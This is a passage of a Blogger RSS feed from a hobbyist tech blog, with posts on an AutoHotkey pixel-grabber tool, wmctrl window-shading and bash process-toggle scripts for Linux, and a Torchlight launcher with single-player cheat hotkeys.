 Gui, Main: Add, Progress, -Smooth Disabled cEF7D1A Background3F3F3F x135  y167  w112 h22, 100
 _fTxtBrdr2(&quot;Help&quot;,&quot;112&quot;,&quot;22&quot;,&quot;gsHlp&quot;,&quot;135&quot;,&quot;167&quot;,&quot;7DA485&quot;,&quot;White&quot;,&quot;11&quot;)
 Gui, Main: Add, Progress, -Smooth Disabled cEF7D1A Background3F3F3F x135  y193  w112 h22, 100
 _fTxtBrdr2(&quot;My Blog&quot;,&quot;112&quot;,&quot;22&quot;,&quot;gsMBlg&quot;,&quot;135&quot;,&quot;193&quot;,&quot;7DA485&quot;,&quot;White&quot;,&quot;11&quot;)
 Gui, Main: Add, Progress, -Smooth Disabled cEF7D1A Background3F3F3F x135  y219  w112 h22, 100
 _fTxtBrdr2(&quot;Exit&quot;,&quot;112&quot;,&quot;22&quot;,&quot;gsExt&quot;,&quot;135&quot;,&quot;219&quot;,&quot;7DA485&quot;,&quot;White&quot;,&quot;11&quot;)
 Gui, Main: Show, w250 h250 Center, Pixel Grabber
 Return
}
_fGrphx(_vCntrX, _vCntrY, _vLp, _vLpWdth, _vWdth, _vHght, _vClr, _vIncrA, _vIncrB, _vBgClrb := &quot;White&quot;){
 Loop, %_vLp%
  { 
   Gui, Main: Add, Progress, -Smooth Disabled x%_vCntrX% y%_vCntrY% w%_vWdth% h%_vHght% Background%_vBgClrb% c%_vClr%, % _vLpWdth
   _vCntrX := _vCntrX + _vIncrA
   _vCntrY := _vCntrY + _vIncrB
  }
 Return
}
_fTxtBrdr(_vTxt, _vXb := &quot;0&quot;, _vYb := &quot;0&quot;, _vBgClr := &quot;Black&quot;, _vClr := &quot;White&quot;, _vTxtSz := &quot;8&quot;){
 Gui, Font, q5 s%_vTxtSz%, Cambria
 Gui, Main: Add, Text, +BackgroundTrans x%_vXb% y%_vYb% c%_vBgClr%, % _vTxt
 Gui, Main: Add, Text, +BackgroundTrans xp yp+2 c%_vBgClr%, % _vTxt
 Gui, Main: Add, Text, +BackgroundTrans xp+2 yp c%_vBgClr%, % _vTxt
 Gui, Main: Add, Text, +BackgroundTrans xp yp-2 c%_vBgClr%, % _vTxt
 Gui, Main: Add, Text, +BackgroundTrans xp-1 yp+1 c%_vClr%, % _vTxt
 Return
}
_fTxtBrdr2(_vTxt2, _vXw, _vYw, _vGs, _vXb2 := &quot;0&quot;, _vYb2 := &quot;0&quot;, _vBgClr2 := &quot;Black&quot;, _vClr2 := &quot;White&quot;, _vTxtSz2 := &quot;8&quot;){
 Gui, Font, q5 s%_vTxtSz2%, Cambria
 Gui, Main: Add, Text, +Center +BackgroundTrans x%_vXb2% y%_vYb2% w%_vXw% h%_vYw% c%_vBgClr2%, %_vTxt2%
 Gui, Main: Add, Text, +Center +BackgroundTrans xp yp+2 w%_vXw% h%_vYw% c%_vBgClr2%, % _vTxt2
 Gui, Main: Add, Text, +Center +BackgroundTrans xp+2 yp w%_vXw% h%_vYw% c%_vBgClr2%, % _vTxt2
 Gui, Main: Add, Text, +Center +BackgroundTrans xp yp-2 w%_vXw% h%_vYw% c%_vBgClr2%, % _vTxt2
 Gui, Main: Add, Text, +Center +BackgroundTrans xp-1 yp+1 w%_vXw% h%_vYw% c%_vClr2% g%_vGs%, % _vTxt2
 Return
}
GuiClose:
 Gui, Cancel
Return
gsExt:
MainGuiClose:
 SplashTextOn, 200, 22, ,% &quot;Exiting Pixel Grabber!!!&quot;
 Sleep 1500
 ExitApp
 
 
&lt;/http:&gt;&lt;/pre&gt;
&lt;center&gt;
&lt;div style=&quot;color: white;&quot;&gt;
        &lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/pixel-grabber-coordinate-and-pixel.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;display: inline-block; margin-left: -40px; vertical-align: top;&quot;&gt;
&lt;a class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/pixel-grabber-coordinate-and-pixel.html&quot; data-via=&quot;Lateralus138&quot; href=&quot;https://twitter.com/share&quot; data-text=&quot;Pixel Grabber V1.0&quot;&gt;Tweet&lt;/a&gt;
        &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
        &lt;/div&gt;
&lt;/center&gt;
&lt;script async=&quot;&quot; defer=&quot;&quot; src=&quot;https://apis.google.com/js/platform.js&quot;&gt;&lt;/script&gt;
&lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/05/pixel-grabber-coordinate-and-pixel.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDU8CEGVmtYPQYMCK9W_uEoyH3FB9cPPM7ms_G2j8DKcy7qqol9ABcN6oMjHpqNQUch0HhHi1DWn-NxM70Z0bXbKgoRqh0XiljYOqqEl5MMNDzA89pqTA3xX55yfx9MrBSLK1bKg4t36j3/s72-c/pg_screen.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-8651682176967783309</guid><pubDate>Wed, 18 May 2016 19:22:00 +0000</pubDate><atom:updated>2016-05-18T15:13:35.001-05:00</atom:updated><title>Linux window shading with wmctrl (toggle all windows script)</title><description>
&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&amp;#39;https://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&amp;#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;
    &lt;br /&gt;
    &lt;center&gt;
        &lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;Wmctrl shade toggle script for Linux&lt;/h1&gt;
        &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/linux-window-shading-with-wmctrl-toggle.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
&lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt;
&lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/linux-window-shading-with-wmctrl-toggle.html&quot; data-via=&quot;Lateralus138&quot;&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
&lt;/div&gt;
        &lt;hr style=&quot;border-style: dashed;&quot; /&gt;
    &lt;/center&gt;
    &lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
        &lt;center&gt;&lt;h3 style=&quot;color: yellow;&quot;&gt;Linux Windows Management&lt;/h3&gt;&lt;/center&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            If you use Linux then you may be familiar with and/or love the fact that it has the most amazing and arguably best window management systems compared to Windows or Mac (both of which you only have one choice). In Linux there are various WM (Window Management) systems you can use and most can be used in lots of Linux distributions (Debian, Mint, Opensuse, etc...) depending on the WM.
        &lt;/p&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            One nice feature of some WM&#39;s is the shading/rollup feature, which instead of minimizing a window you can just hit the shade button and it will be rolled up to a just a thin title bar allowing you to see more of your desktop and/or other windows, but being reminded that window is open and you have stuff left to do there. This feature usually works well in most distros, but not always and not always well in every application type. In Ubuntu which is one of the biggest distros this ability has been ruined by the unity compiz plugin and so any window shading will now just minimize the window. This is, of course, if you use Unity as your WM.
        &lt;/p&gt;
        &lt;center&gt;&lt;h3 style=&quot;color: yellow;&quot;&gt;WMCTRL&lt;/h3&gt;&lt;/center&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            If you do have issues with normal window shading buttons (Opensuse has some issues) or normal hotkeys not executing shading then you can almost always write a simple shell script using  &lt;span style=&quot;color: yellow; font-weight: bold; font-style: italic;&quot;&gt;wmctrl&lt;/span&gt;:
        &lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
            wmctrl -r :ACTIVE: -b toggle,shaded
        &lt;/pre&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            If you call this simple script using a hotkey this will shade whatever window is is currently active. You can also toggle the shade state of a specific window. By using &lt;span style=&quot;color: yellow; font-weight: bold; font-style: italic;&quot;&gt;wmctrl -l&lt;/span&gt; you can list all active windows and get the names and ids of each. Using the window name you can then do this:
        &lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
wmctrl -l # &lt;- lists all windows

    # E.g:
    #0x03600017 -1         N/A Desktop — Plasma
    #0x0360001a -1         N/A Plasma
    #0x03600025 -1         N/A Plasma
    #0x01800001  1 fluxinferno Blogger: The Agnostic Microcosm - Edit post - Google Chrome
    #0x0500002b -1 fluxinferno Guake!
    # then with the window title you can toggle its&#39; shaded state with:

wmctrl -r &quot;Google Chrome&quot; -b toggle,shaded
        &lt;/pre&gt;
            &lt;span style=&quot;color: yellow; font-weight: bold; font-style: italic;&quot;&gt;WMCTRL&lt;/span&gt; comes already pre-installed in most distros, but I am pretty sure it can be found for almost any distro you can imagine if not.
        &lt;/p&gt;
        &lt;h3 style=&quot;color: red;&quot;&gt;Wmctrl to toggle shade state of all windows&lt;/h3&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            Sometimes you may just want to toggle the shade states of all windows. That gets a little tricker as you have to list all windows currently running, store the window names and and run the above command on each name. This can be done using a for loop on the list command. The below code can be run from your terminal, but is better used in a script and set to run with a hotkey. I usually use Alt+X to toggle active and Ctrl+Alt+X to toggle all. Check out this shell script to toggle shade on all windows:
        &lt;/p&gt;
        &lt;!-- &lt;h4 style=&quot;color: #FF7777; font-weight: normal;&quot;&gt;Toggle shade on all windows in Linux&lt;/h4&gt; --&gt;
        &lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
for i in $(wmctrl -l | awk &#39;{print $4}&#39;); do
  wmctrl -r &quot;$i&quot; -b toggle,shaded
done
        &lt;/pre&gt;
        &lt;p style=&quot;text-indent: 24px;&quot;&gt;
            Just save the above script to a file and make sure it&#39;s executable and place it in any folder your shells PATH is read from. Then set a hotkey to the script and execute as needed.
&lt;center&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/linux-window-shading-with-wmctrl-toggle.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
&lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt;
&lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/05/linux-window-shading-with-wmctrl-toggle.html&quot; data-via=&quot;Lateralus138&quot;&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
&lt;/div&gt;
&lt;/center&gt;
&lt;script src=&quot;https://apis.google.com/js/platform.js&quot; async defer&gt;&lt;/script&gt;
    &lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/05/linux-window-shading-with-wmctrl-toggle.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-98464470285770501</guid><pubDate>Fri, 29 Apr 2016 15:07:00 +0000</pubDate><atom:updated>2016-04-29T10:33:23.747-05:00</atom:updated><title>Bash Toggle Process Function/Script</title><description>&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;
&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;
Bash Toggle Process Function/Script&lt;/h1&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot;&gt;&lt;/div&gt;
&lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot; data-text=&quot;Toggle Process Bash Script&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;bashscript&quot;&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
&lt;!-- Place this tag where you want the share button to render. --&gt;
&lt;div class=&quot;g-plus&quot; data-action=&quot;share&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot;&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
If you use both Windows and Linux and like automation tools then you know that compared to Windows, Linux can be somewhat lacking. Not that Linux isn&#39;t powerful or capable of something like AutoIt or AutoHotkey (AutoKey for Linux), but with AutoHotkey in Windows there&#39;s really nothing I can&#39;t do, whereas Autokey is very, very limited by just using Python.
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
Having said that, you can still do lots of stuff with AutoKey by using other scripting languages, especially just by having AK executing good &#39;ol shell scripts. Today I want to show you a &#39;toggle process&#39; bash script (easily made universal) I wrote to use with AutoKey (AK not necessary though). This script has 3 modes: 1. Run if not running, 2. Activate if not active, and 3. Minimize if active. The only thing this does not do is close the process (you have alt+f4 for that :D) and things like window shading of course...
&lt;/div&gt;
&lt;br /&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Usage&lt;/h3&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
To use this script all you would have to do is either write a script or run in a terminal eg.: 
&lt;pre&gt;toggle firefox&lt;/pre&gt; and firefox will either start, activate or minimize depending on its&#39; state. If your process is not in a normal bin path that your shell looks in the you must provide the full path e.g.:
&lt;pre&gt;toggle /full/path/to/your/process&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 style=&quot;color: red;&quot;&gt;
Dependencies&lt;/h3&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
This script/function is depenedent on Linux packages &#39;xprop&#39; and &#39;xdotools&#39;, both of which come pre-installed on most modern day Linux distrobutions, but if not I can almost garauntee you can find the packages for your distro in your package manager.
&lt;/div&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
This has been tested and running on both Ubuntu and Opensuse.&lt;br /&gt;
Either copy the below code or there&#39;s a downloadable script below.
&lt;/div&gt;

&lt;h3 style=&quot;color: red;&quot;&gt;
Source Code&lt;/h3&gt;
&lt;h4 style=&quot;color: #FF7777; font-weight: normal;&quot;&gt;Function (for use in .bash_aliases for example)&lt;/h4&gt;
&lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
function toggle {
  if [[ -z &quot;$1&quot; ]]; then
   echo &quot;No process given.&quot;
  else
   cpid=$(xdotool search --name $1)
   if [[ -z &quot;$cpid&quot; ]]; then
      $1 &amp;
   else
      for i in $cpid; do
         cstate=$(xprop -id $i | grep &quot;HIDDEN&quot;)
     if [[ -z &quot;$cstate&quot; ]]; then
            xdotool windowminimize $i
         else
            xdotool windowactivate $i
         fi
      done
   fi
  fi
}
&lt;/pre&gt;
&lt;h4 style=&quot;color: #FF7777; font-weight: normal;&quot;&gt;Script (for use everywhere else)&lt;/h4&gt;
&lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;
#!/bin/bash
if [[ -z &quot;$1&quot; ]]; then
 echo &quot;No process given.&quot;
else
 cpid=$(xdotool search --name $1) 
 if [[ -z &quot;$cpid&quot; ]]; then
    $1 &amp; 
 else
    for i in $cpid; do
       cstate=$(xprop -id $i | grep &quot;HIDDEN&quot;)
   if [[ -z &quot;$cstate&quot; ]]; then
          xdotool windowminimize $i
       else
          xdotool windowactivate $i
       fi
    done
 fi
fi
&lt;/pre&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Download Script&lt;/h3&gt;
&lt;a href=&quot;https://app.box.com/s/pn0q1jak1x6zmsmqfjzvw4z1iiosuvsv&quot; target=&quot;_blank&quot;&gt;Toggle Shell Script&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

&lt;/div&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot;&gt;&lt;/div&gt;
&lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot; data-text=&quot;Toggle Process Bash Script&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;bashscript&quot;&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
&lt;!-- Place this tag where you want the share button to render. --&gt;
&lt;div class=&quot;g-plus&quot; data-action=&quot;share&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html&quot;&gt;&lt;/div&gt;
&lt;script src=&quot;https://apis.google.com/js/platform.js&quot; async defer&gt;&lt;/script&gt;
&lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;!-- Torchlight Launcher --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-4047236464784905&quot;
     data-ad-slot=&quot;4337499479&quot;
     data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;!-- Place this tag in your head or just before your close body tag. --&gt;
&lt;script src=&quot;https://apis.google.com/js/platform.js&quot; async defer&gt;&lt;/script&gt;

&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/04/bash-toggle-process-functionscript.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-1142634626130514530</guid><pubDate>Wed, 30 Mar 2016 18:47:00 +0000</pubDate><atom:updated>2016-04-24T22:16:30.247-05:00</atom:updated><title>Torchlight Launcher [and cheat/hotkey trainer] V2.2 [ Updated ]</title><description>&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.5&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;
&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;
Torchlight Launcher [and cheat/hotkey trainer +10] V2.2&lt;/h1&gt;
&lt;div style=&quot;display: inline-block;&quot;&gt; 
&lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;http://agnosticmicrocosm.blogspot.com/2016/03/torchlight-launcher-and-cheathotkey.html&quot; data-text=&quot;Torchlight Launcher V2.2 by Lateralus138&quot; data-via=&quot;lateralus138&quot; data-hashtags=&quot;cheattrainers&quot; style=&quot;display: inline-block; float: left;&quot; &gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt;
&lt;!-- Place this tag in your head or just before your close body tag. --&gt;


&lt;!-- Place this tag where you want the share button to render. --&gt;
&lt;div class=&quot;g-plus&quot; data-action=&quot;share&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/03/torchlight-launcher-and-cheathotkey.html&quot; style=&quot;display: inline-block; float: left; width: 200px;&quot; &gt;&lt;/div&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/03/torchlight-launcher-and-cheathotkey.html&quot; data-layout=&quot;button_count&quot; style=&quot;display: inline-block; padding-top: -8px;&quot; &gt;&lt;/div&gt;
&lt;/div&gt; 
&lt;/center&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
&lt;h4&gt;[UPDATED - V2.2]&lt;/h4&gt;
Update Notes:
&lt;br /&gt; 
This runs fine on medium-high end machines, but on slower machines this doesn&#39;t always execute the whole command.&lt;br /&gt; 
&lt;ul style=&quot;list-style:none;&quot;&gt;
&lt;li&gt;Added BlockInput during cheat execution to reduce lag.&lt;/li&gt;
&lt;li&gt;Added slight wait intervals during key Send.&lt;/li&gt;
&lt;li&gt;Created a function to send keys: reduced file size and speed up send keys execution to reduce lag even more.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt; 
I cheat sometimes. Not all of the time, but I cheat when replaying a game or on games that I am just going to test for hacking/modding. I cheat because I am getting old and I have a life with children; which are, of course, more important... So in everything I do I create automation to speed up gaming and any other processes so I can spend more time with my family. I am a techy and gamer, I can&#39;t help doing what I love so I can do both with the help of  automation.
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
So I have created Torchlight Launcher V2.2. This is my first official online release, but I have several working personal releases that work well for me so I&#39;ll keep the version sequence going. This is a launcher//cheat trainer/hotkey helper in one. Unlike traditional cheat trainers this is written in the Autohotkey scripting language and uses no coding hacks other than using Windows libraries and modules themselves to automate all functions.
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-indent: 24px;&quot;&gt;
This launcher adds hotkeys for 10 different cheats and adds item slots 1 &amp;amp; 2 to the XButtons 1 &amp;amp; 2 on any gaming mouse. It also adds ascend and decend level to the + and - number pad keys. This trainer uses then normal in-game console to use cheats that can already be found on the internet, but makes it so you only have to press one button for very quick access. The in-game console can only be accessed by enabling it in Torchlights &#39;settings.txt&#39; file found in your users AppData folder. This launcher provides the ability to enable it with the click of a button (creates a backup of the original settings file) or if that fails for some reason helps you edit the file manually.
&lt;/div&gt;
&lt;br /&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Usage&lt;/h3&gt;
This is a compiled ahk script for use in any x86 (I can compile for anything else) system From Windows Vista on up. Just run the trainer and view the Help. There is a system tray icon where you can access any function that have buttons in the gui, view the help window, enable cheats, run the game, and exit the launcher. This can be used with any version of Torchlight on PC as long as it installed in it&#39;s default location (even GOG).
&lt;br /&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Downloads&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: none;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://app.box.com/s/2thhu34rsvzf20zfk26tguvzxxd3uz8m&quot; target=&quot;_blank&quot;&gt;Torchlight Launcher &amp;amp; Cheat Trainer +10 V2.2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: red;&quot;&gt;
Screenshots&lt;/h3&gt;
&lt;div&gt;
Launcher text and hotkey list background and slight editing by me:&lt;br /&gt;
In custom Windows 10 build:
&lt;br /&gt; 
&lt;a href=&quot;http://s254.photobucket.com/user/faithnomoread/media/tllss_zpsiqjzlnxp.png.html&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/tllss_zpsiqjzlnxp.png&quot;  border=&quot;0&quot; alt=&quot; photo tllss_zpsiqjzlnxp.png&quot;/&gt;&lt;/a&gt;
&lt;br /&gt; 
In Windows 7 Build:&lt;br /&gt; 
&lt;a href=&quot;http://s254.photobucket.com/user/faithnomoread/media/tllss2_zpsvudvkmrf.png.html&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/tllss2_zpsvudvkmrf.png&quot; width=&quot;580&quot; border=&quot;0&quot; alt=&quot; photo tllss2_zpsvudvkmrf.png&quot;/&gt;&lt;/a&gt;
&lt;/div&gt; 
&lt;h3 style=&quot;color: red;&quot;&gt;
